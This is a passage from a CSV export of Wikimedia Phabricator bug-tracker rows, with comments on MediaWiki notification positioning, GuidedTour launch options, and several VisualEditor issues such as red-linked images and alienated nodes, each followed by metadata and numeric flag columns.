+https://gerrit.wikimedia.org/r/72322",,,1374636426,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239955,mediawiki.notification: Notification area should remain visible when scrolled down,*** Bug 51785 has been marked as a duplicate of this bug. ***,,,1374449520,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+239950,mediawiki.notification: Notification area should remain visible when scrolled down,"Change 73948 abandoned by Krinkle:
+Use fixed position for notifications
+
+Reason:
+Dupe of Icb7cd68f484 (which has existed longer)
+
+https://gerrit.wikimedia.org/r/73948",,,1373984219,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0
+239943,mediawiki.notification: Notification area should remain visible when scrolled down,"Change 73948 had a related patch set uploaded by Helder.wiki:
+Use fixed position for notifications
+
+https://gerrit.wikimedia.org/r/73948",,,1373982414,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239934,mediawiki.notification: Notification area should remain visible when scrolled down,*** Bug 51432 has been marked as a duplicate of this bug. ***,,,1373982177,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+239924,mediawiki.notification: Notification area should remain visible when scrolled down,">Argh, I forgot that position:fixed is always relative to the entire document, >not to any positioned ancestor.
+This is only true if you set top,left,right or bottom, AFAIK. Look at [[:commons:Special:Permalink/99667607]] (the grey DIV 2 inner is fixed)
+
+See also http://stackoverflow.com/questions/8712047/positionfixed-when-left-top-right-bottom-arent-specified-desired-results-in
+
+If one still wants to use something fancier (and one will have to for safari, unfortunately), one may use jQuery:
+offset ( http://api.jquery.com/offset/ ) -- ""Get the current coordinates of the first element in the set of matched elements, relative to the document.""
+This way one can get the position of mw.util.$content and add 1em. Here is an example implementation (one has to execute the positioning code every time the message is shown or one has to catch window.resize events).
+
+var $content = mw.util.$content,
+    $container = $('<div>').appendTo($content)
+    $n = $('<div>').text('Message here').css({
+     'float': 'right', // Set this in CSS so Janus can flip!
+     'margin':  '1em'
+    }).appendTo($container),
+    o = $content.offset();
+    
+$container.css({
+    position: 'fixed',
+    width: $content.width()
+}).offset(o);
+
+Feel free to improve (padding of mw.util.$content is not respected) and note that styles are also touched in skin files like skins/vector/screen.css ( https://git.wikimedia.org/blob/mediawiki%2Fcore.git/9cbd77868a92022170348504fb5444e4e1f302fa/skins%2Fvector%2Fscreen.css#L807 )",,,1373281154,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,1,,1,1,0,1,1,1,1,0,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,1,0,1
+239918,mediawiki.notification: Notification area should remain visible when scrolled down,"Heh, I though they behave in this way. Seems like an obvious enhancement.",,,1373147615,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+239914,mediawiki.notification: Notification area should remain visible when scrolled down,"Change 72322 had a related patch set uploaded by Matmarex:
+mediawiki.notification: Show the notifications relative to the screen
+
+https://gerrit.wikimedia.org/r/72322",,,1373147590,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+52847,"Allow launching once per-user, per-situation","Allow launching a tour while limiting it to once per-user.  The idea is that GuidedTour handles this, so the calling code (GettingStarted, VisualEditor, etc.) doesn't need to think about hidden user preferences, etc.  I'll call it launchOnceForUser as illustration; better name suggestions welcome
+
+Example use case: The VisualEditor edit screen calls launchOncePerUser, then GuidedTour decides internally whether to launch it based on whether the user has already seen it.
+
+Ideally, it will allow launching immediately, and pre-launching by setting a cookie (we did this once with GettingStarted).
+
+--------------------------
+**Version**: master
+**Severity**: enhancement",Medium,50.0,1373067480,,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-jza5e4mrwocbbyclpgux,task_description,open,True,c1,3,True,False,,0,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1
+238673,"Allow launching once per-user, per-situation","I need to think about whether this should go in the tour specification (defineTour), the launch site, or both.",,,1373067634,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-jza5e4mrwocbbyclpgux,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+52840,VisualEditor: Clean up 'cache': 'false',"We have lots of occurrences of 'cache': 'false' in $.ajax invocations in our code, and only one occurrence of 'cache': true. Based on the documentation, it seems to me that 'cache' should pretty much never be set to false. But then again, we set it to the string 'false', not the boolean false.
+
+This seems bad and in need of cleanup. Assigning to Timo.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1373062140,1393640938.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-qx22rnw4roeugdfib5hc,task_description,resolved,True,c1,3,False,False,False,0,,1,0,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,1,0,0,0
+238136,VisualEditor: Clean up 'cache': 'false',Done in Roan's clean-up of API usage.,,,1393640938,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qx22rnw4roeugdfib5hc,task_subcomment,,True,c1,3,True,,,34,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+52791,"VisualEditor: For alienated block nodes in inline positions, alienation area is a single line, not the whole block","Take for example this: 
+https://en.wikipedia.org/wiki/AMS-LaTeX?veaction=edit
+
+The green alienation is only covering one line of the Math block after the sentence: ""causes the equals signs in the two lines to be aligned with one another, like this:""
+
+{F11183}
+
+**See Also**: {T66625}",Medium,50.0,1373006760,1642379773.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-x7y27baxwalxutuxi24u,task_description,resolved,True,c1,3,True,False,False,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0
+1845917,"VisualEditor: For alienated block nodes in inline positions, alienation area is a single line, not the whole block","This doesn't seem to be a problem any more, even if I make the visual editor forget what math nodes are:
+```lang=js
+ve.dm.converter.modelRegistry.unregister(ve.dm.MWMathNode);
+ve.dm.converter.modelRegistry.unregister(ve.dm.MWAlienBlockExtensionNode);
+ve.dm.converter.modelRegistry.unregister(ve.dm.MWAlienInlineExtensionNode);
+```
+{F34920206}
+
+This might have been fixed by the same patch as T66625, years ago.",,,1642379774,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-x7y27baxwalxutuxi24u,task_subcomment,,True,c1,3,True,,,446,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1
+52788,VisualEditor: We need a representation of red-linked images,"Quote: ""I was editing this revision https://en.wikipedia.org/w/index.php?title=Chubby_bunny&oldid=562098358 of [[Chubby bunny]] to try to remove a thumbnail of a deleted image, the following wikitext:
+[[Image:Sara_Jay_Chubby_Bunny_Challenge.png|thumbnail|Sara Jay playing Chubby Bunny]]
+
+The red image link and/or its caption shown in the normal article view do not appear in the Visual Editor view and as far as I tell removing it in that view is impossible.""
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1373006100,1431796201.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_description,resolved,True,c1,3,True,False,False,0,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+459833,VisualEditor: We need a representation of red-linked images,"Change 210625 merged by jenkins-bot:
+Representation of red-linked images in VE
+
+[[https://gerrit.wikimedia.org/r/210625]]",,,1431794211,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,False,,,97,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+459083,VisualEditor: We need a representation of red-linked images,"Change 210625 had a related patch set uploaded (by SuchetaG):
+[WIP] Representation of red-linked images in VE
+
+[[https://gerrit.wikimedia.org/r/210625]]
+",,,1431655294,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,False,,,97,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+444194,VisualEditor: We need a representation of red-linked images,"The current handling of red-linked images in wmf1.25/1.26
+
+-  the non-existing images can be inserted only in 'Edit source'
+-  in Read they are represented as {F113350}
+-  switching to VE {F113352}
+
+- hovering over the image gives: 'Sorry, this element can only be edited in source mode for now.'
+- the image can be deleted in VE ",,,1429126077,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,93,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+444172,VisualEditor: We need a representation of red-linked images,">>! In T52788#1210051, @cscott wrote:
+> We are emitting the mw:Error markup in Parsoid, I believe, and that hasn't changed.  What @mooeypoo reports is a regression in VE?
+
+Probably.",,,1429123960,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,93,,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+444159,VisualEditor: We need a representation of red-linked images,"We are emitting the mw:Error markup in Parsoid, I believe, and that hasn't changed.  What @mooeypoo reports is a regression in VE?",,,1429122908,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,93,,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0
+420373,VisualEditor: We need a representation of red-linked images,"This is no longer the case. Red link images (or images that aren't loading, in the case of bad internet, etc) are disappearing from CE completely.",,,1425420366,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,False,,,87,,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,1
+401915,VisualEditor: We need a representation of red-linked images,Marking as Resolved.,,,1421801167,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,81,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+401910,VisualEditor: We need a representation of red-linked images,"This task is open but has two ""verified-in-phaseX"" projects associated. Could someone clarify?",,,1421800777,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,81,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0
+392323,VisualEditor: We need a representation of red-linked images,"Visual editor displays a placeholder for non-existent images, so red-linked images can be deleted from VE.
+Checked in production/betalabs/test2.",,,1419299453,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,77,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+235088,VisualEditor: We need a representation of red-linked images,"[15:09] <gwicke> RoanKattouw, re https://bugzilla.wikimedia.org/show_bug.cgi?id=50788: the idea is to have a generic way to represent errored content
+[15:09] <gwicke> while still matching CSS etc so that it renders as expected
+[15:09] <RoanKattouw> Right
+[15:09] <RoanKattouw> I guess I could hack tolerance for that into VE's type system
+[15:10] <RoanKattouw> I think it's kind of an abuse of a type but I see why you'd do it
+[15:10] <RoanKattouw> You want to have a single unified thing to easily identify error nodes
+[15:11] <gwicke> yeah; there is a chance that querySelectorAll also supports typeof
+[15:12] <gwicke> [typeof~=mw:Error]
+[15:12] <RoanKattouw> Exactl
+[15:12] <RoanKattouw> y
+[15:12] <gwicke> which is more efficient than [data-mw] and then decoding each & look for errors
+[15:14] <gwicke> RoanKattouw, I think you are already giving mw:Placeholder a high precedence
+[15:14] <gwicke> could mw:Error have a similarly high precedence?
+[15:15] <RoanKattouw> gwicke: No, mw:Placeholder is unrecognized
+[15:15] <RoanKattouw> Any unrecognized type matching /^mw:/ triggers immediate alienation
+[15:15] <RoanKattouw> For mw:Error we'd need the reverse
+[15:15] <gwicke> yeah, but aren't you handling typeof=""mw:Placeholder mw:Image"" already?
+[15:15] <RoanKattouw> Which is ignore mw:Error as a type completely, otherwise either everything with mw:Error would be alienated, or everything would have to specify mw:Error
+[15:16] <gwicke> (by letting the placeholder win)
+[15:16] <RoanKattouw> No, the placeholder doesn't win
+[15:16] <gwicke> ah, I see
+[15:16] <RoanKattouw> The rules for ""special"" type prefixes (for ve-mw, that's only /^mw:/ ) are as follows:
+[15:16] <gwicke> that's a problem
+[15:16] <RoanKattouw> A class matches if:
+[15:16] <RoanKattouw> * It specifies some type that's present on the element
+[15:17] <RoanKattouw> * It specifies ALL mw: types that are present on the element
+[15:17] <RoanKattouw> (i.e. both of those have to be true)
+[15:17] <RoanKattouw> Additionally, we don't currently have a facility for saying ""I recognize either mw:Foo or mw:Foo+mw:Error""
+[15:17] <RoanKattouw> You can only do AND, not OR
+[15:17] <gwicke> RoanKattouw: I see, that makes mw:Error harder to handle for you
+[15:18] <RoanKattouw> I mean, I can do it
+[15:18] <RoanKattouw> By introducing the concept of ignored types or whatever I want to call it
+[15:18] <RoanKattouw> I could even make mw:Placeholder one
+[15:18] <RoanKattouw> Then placeholderized images could be handled
+[15:18] <RoanKattouw> Handlers for node types still have the option to trigger alienation by returning null
+[15:18] <gwicke> we already have mw:Image and mw:ExpandedAttrs
+[15:19] <gwicke> and all permutations of images of course
+[15:19] <RoanKattouw> So if mw:Image+mw:Placeholder meant ""alienate except in certain cases"", then we could send it to the image handler and do if ( conditions ) { return null; // Alienate
+[15:19] <RoanKattouw> Right, mw:ExpandedAttrs is another good candidate for an ignored typer
+[15:19] <RoanKattouw> It can apply to anything
+[15:19] <RoanKattouw> And sometimes we need to alienate and sometimes we don't
+[15:19] <RoanKattouw> Hmm, maybe the jargon should be ""universal type""
+[15:19] <gwicke> yup, so the general ability to match that kind of thing is needed in any case
+[15:20] <RoanKattouw> Yeah
+[15:20] <RoanKattouw> I will file a bug about this",,,1393456951,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,34,,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+235082,VisualEditor: We need a representation of red-linked images,"(In reply to C. Scott Ananian from comment #5)
+> There's a draft spec at
+> https://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Error_handling --
+> would that work for VE?
+It would be reasonable-ish. Having a separate mw:Error type would be quite inconvenient though, we'd have to add it to (almost) all of our node definitions. Would it be OK to drop the mw:Error type and just have the data-mw thing there?",,,1393455910,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,False,,,34,,1,0,0,0,0,1,1,0,1,0,1,1,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+235078,VisualEditor: We need a representation of red-linked images,There's a draft spec at https://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Error_handling -- would that work for VE?,,,1393439521,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,34,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0
+235074,VisualEditor: We need a representation of red-linked images,*** Bug 52186 has been marked as a duplicate of this bug. ***,,,1389632313,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,28,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+235071,VisualEditor: We need a representation of red-linked images,"So currently redlink images are returned as <meta typeof=""mw:Placeholder"">. I see a couple of ways to solve this:
+
+1. Parsoid gives us back normal image tags, and we make sure our handling of images can deal with 404 src's. This way when we support changing image src's these will be editable in a useful way.
+
+2. We treat mw:Placeholder as real data, and come up with a rendering for it (maybe using parsewikitextfragment, like templates). We'd need to know what else converts to a mw:Placeholder as this may be undesirable in other situations.
+
+Pinging gwicke as this requires some Parsoid input.",,,1389631702,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,28,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+235066,VisualEditor: We need a representation of red-linked images,*** Bug 51968 has been marked as a duplicate of this bug. ***,,,1377623981,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+235063,VisualEditor: We need a representation of red-linked images,"Yes, this is a bit of a mess.",,,1373155845,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52781,VisualEditor: Browser blacklist issues (tracking),"Tracking bug for:
+
+- Browsers that shouldn't be blacklisted but are;
+
+- Browsers that should be blacklisted but aren't.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1372987020,1422424851.0,PHID-USER-766idcqt4jkngnnuhnrj,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-2liv3ois3nnjarqe73d5,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+403776,VisualEditor: Browser blacklist issues (tracking),Replaced by #VisualEditor-Initialisation.,,,1422424851,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2liv3ois3nnjarqe73d5,task_subcomment,,True,c1,3,True,,,82,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
